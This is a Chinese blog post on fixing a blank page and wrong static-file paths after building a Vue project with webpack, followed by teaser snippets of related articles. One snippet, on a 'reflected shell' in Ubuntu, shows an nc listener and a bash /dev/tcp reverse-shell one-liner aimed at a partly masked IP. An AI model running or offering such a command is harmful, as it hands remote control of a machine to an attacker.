vue打包静态资源后显示空白及static文件路径报错
1、打包之后打开dist的页面显示空白:
这个是打包项目比较常见的一个错误
改一下config下面的index.js中bulid模块导出的路径。因为打包后的index.html里边的内容都是通过script标签引入的,默认显示的路径不对,打开肯定是空白的。

2.src里边router/index.js路由配置里边默认模式是mode:'hash'(页面会在路由上加#),有时候改成了history(纯净路由)模式的话,打开也会是一片空白。所以改为hash或者直接把模式配置删除,让它默认的就行 。
export default new Router({
//mode: 'history',
mode:'hash',\\或者直接不写
routes: [{}]
)}
3. 当打包后的图片访问路径是 /dist/static/css/static/img
在build/utils.js添加配置publicPath: '../../'

打包后找不到响应路径:
这都是比较常见的几种解决方式,如果将静态资源的图片路径作为绑定数据以js引入,图片放入了static里面用来引入这个页面又该怎样处理呢,如果以绝对路径访问vue打包是不会处理这一类的,所以打包后它图片访问的路径不会更改,而打包后dist文件里就只有index.html和webpack不会处理的static文件夹(vue static/下的文件都不会被Webpack处理:它们使用相同的文件名,直接拷贝到最终的路径)
解决方式有两种,
1.如果要上线的话,需要将你的主域名加在static之前然后他会逐级去访问打包后的文件。
return {
isShow:true,
imgData:'',
myUpPic:'/yourDN/static/img/logo.png'
}
2.由于vue将组件访问静态资源的路径配置好了,你可以直接/static来找到static下的文件,但是这里的问题就是你访问的时候它是逐级访问这些文件的,所以打包后他还是会找不到静态资源的文件,在这里你就需要将/static改成./static,这样的话他就会在打包后的文件夹下直接访问其之下的静态资源文件夹。
return {
isShow:true,
imgData:'',
//myUpPic:'/static/img/logo.png'
myUpPic:'./static/img/logo.png'
}
vue打包静态资源后显示空白及static文件路径报错的更多相关文章
- vue打包静态资源路径不正确的解决办法
vue打包静态资源路径不正确的解决办法 vue项目完成打包上线的时候会碰到静态资源找不到的问题,常见的有两个 1.js,css路径不对 解决办法:打开config/index.js,将其中的asset ...
- vue打包静态资源路径不正确的解决办法【转】
vue项目完成打包上线的时候很多人都会碰到静态资源找不到的问题,常见的有两个 1.js,css路径不对 解决办法:打开config/index.js,将其中的assetsPublicPath值改为’. ...
- NodeJS4-2静态资源服务器实战_实现获取文件路径
实例2 : 实现获取文件路径,判断是文件还是文件夹,如果是文件夹就显示里面的列表文件,如果是文件就显示里面的内容 defaultConfig.js module.exports={ root:proc ...
- vue项目之webpack打包静态资源路径不准确
摘自:https://blog.csdn.net/viewyu12345/article/details/83187815 问题 将打包好的项目部署到服务器,发现报错说图片找不到. 静态资源如js访问 ...
- vue项目打包后一片空白及资源引入的路径报错解决办法
网上很多说自己的VUE项目通过Webpack打包生成的list文件,放到HBulider打包后,通过手机打开一片空白.这个主要原因是路径的问题. 1.记得改一下config下面的index.js中bu ...
- webpack4 打包静态资源
demo 代码点此,开始之前,先做点准备工作. 准备工作 准备一个空文件夹,然后执行下列命令: npm init -y npm i -D webpack webpack-cli 然后创建一个 dist ...
- vue 使用webpack打包后路径报错以及 alias 的使用
一.vue 使用webpack打包后路径报错(两步解决) 1. config文件夹 ==> index.js ==> 把assetsPublicPath的 '/ '改为 './' 2. b ...
- 【docker】【redis】2.docker上设置redis集群---Redis Cluster部署【集群服务】【解决在docker中redis启动后,状态为Restarting,日志报错:Configured to not listen anywhere, exiting.问题】【Waiting for the cluster to join...问题】
参考地址:https://www.cnblogs.com/zhoujinyi/p/6477133.html https://www.cnblogs.com/cxbhakim/p/9151720.htm ...
- java -- SSM配置完成后,能访问jsp文件不能访问html文件,报错解析
SSM配置完成后,能访问jsp文件不能访问html文件,报错解析 在确保路径没有任何问题的,情况下,相同的页面,jsp能够正常访问,html却不能正常访问(404). 解决方法: 在web.xml中添 ...
随机推荐
- java学习笔记(1)java的基础介绍 、JDK下载、配置环境变量、运行java程序
java工程师是开发软件的 什么是软件呢? 计算机包括两部分: 硬件: 鼠标.键盘.显示器.主机箱内部的cpu.内存条.硬盘等 软件: 软件包括:系统软件和应用软件 系统软件:直接和硬件交互的软件:w ...
- C Primer Plus--结构和其他数据类型(1)
目录 结构变量 structure variable 建立结构声明 定义结构声明 结构数组 嵌套结构 结构指针 使用指针访问结构成员 结构用于传参 在结构中使用指针的危害 联合(Union)数据结构 ...
- SpringCloud:Zipkin链路追踪,并将数据写入mysql
1.zipkin server 1.1.新建Springboot项目,zinkin 1.2.添加依赖 <dependency> <groupId>io.zipkin.java& ...
- Hutool工具类之HttpUtil使用Https
关于Hutool工具类之HttpUtil如何使用可以参考官方文档Hutool之HttpUtil 其实使用Http和Https使用的方式是一样的. 建议大家可以看看HttpUtil的源码,感觉设计的挺不 ...
- freemark 异常
现象: 前几天跟前端联调,freemark报异常如下: For "#if" condition: Expected a boolean, but this has evaluate ...
- 【转】JVM类装载机制的解析,热更新的探讨(二)
同样,一个Class对象必须知道自己的超类.超级接口.因此,Class对象会引用自己的超类和超级接口的Class对象.这种引用一定是实例引用.(实际上,超类.超级接口的引用也存储在常量池中,但为了区分 ...
- Ubuntu -- 反射shell nc
攻击机: apt-get install netcat nc -lvvp 80 受害机: /bin/bash -i >& /dev/tcp/139.xxx.18.xx/80 0>& ...
- android x86 安装
1.下载页面 http://www.android-x86.org 下载了: android-x86-8.1-r2.iso 用Win32DiskImager制作usb启动盘. 参考: https:// ...
- 编程基础-c语言中指针、sizeof用法总结
1.指针 学习 C 语言的指针既简单又有趣.通过指针,可以简化一些 C 编程任务的执行,还有一些任务,如动态内存分配,没有指针是无法执行的.所以,想要成为一名优秀的 C 程序员,学习指针是很有必要的. ...
- vim 外部粘贴代码,如何保持原格式,而不持续缩进
主要内容:使用“:set paste” 来实现vim 按照源文件格式复制 在vim 使用中偶尔要复制外部代码,常常出现不停缩进的问题: 怎么避免此种情况出现呢 可以在命令模式中使用“:set past ...